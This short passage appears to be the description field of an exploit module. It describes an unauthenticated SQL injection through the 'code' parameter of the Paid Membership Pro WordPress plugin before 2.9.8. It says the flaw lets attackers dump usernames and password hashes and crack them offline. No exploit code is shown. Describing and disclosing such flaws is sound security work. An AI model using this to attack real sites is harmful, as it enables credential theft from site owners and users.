'Description' => %q{  
Paid Membership Pro, a WordPress plugin,  
prior to 2.9.8 is affected by an unauthenticated SQL injection via the  
`code` parameter.  
  
Remote attackers can exploit this vulnerability to dump usernames and password hashes  
from the `wp_users` table of the affected WordPress installation. These password hashes  
can then be cracked offline using tools such as Hashcat to obtain valid login  
credentials for the affected WordPress installation.
